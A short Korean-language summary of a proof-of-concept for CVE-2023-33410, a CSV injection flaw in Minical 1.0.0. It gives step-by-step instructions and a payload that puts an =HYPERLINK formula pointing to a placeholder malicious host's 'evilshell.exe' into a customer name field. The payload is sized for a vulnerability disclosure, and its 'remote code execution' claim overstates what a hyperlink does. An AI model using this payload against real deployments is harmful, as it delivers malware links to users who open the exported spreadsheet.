thirukrishnan/cve-2023-33410Minica 1.0.0의 CSV 인젝션 취약점을 증명하는 개념 증명(PoC)으로, 고객 이름 필드에 악의적인 HYPERLINK 페이로드를 삽입하여 보고서를 다운로드할 때 원격 코드 실행(RCE)을 유발합니다.
Minical 1.0.0은 CSV 인젝션에 취약합니다.
공급업체: https://github.com/minical/minical
데모 애플리케이션: https://demo.minical.io/
1단계: Accounting 모듈로 이동하여 Create New Customer를 클릭합니다.
2단계: Name 필드에 페이로드를 입력하고 Create를 클릭합니다.
Payload: =HYPERLINK("<https://malicious.com/evilshell.exe>","ClickHere")
3단계: Download CSV Report를 클릭하고 페이로드가 렌더링되는 것을 확인합니다.
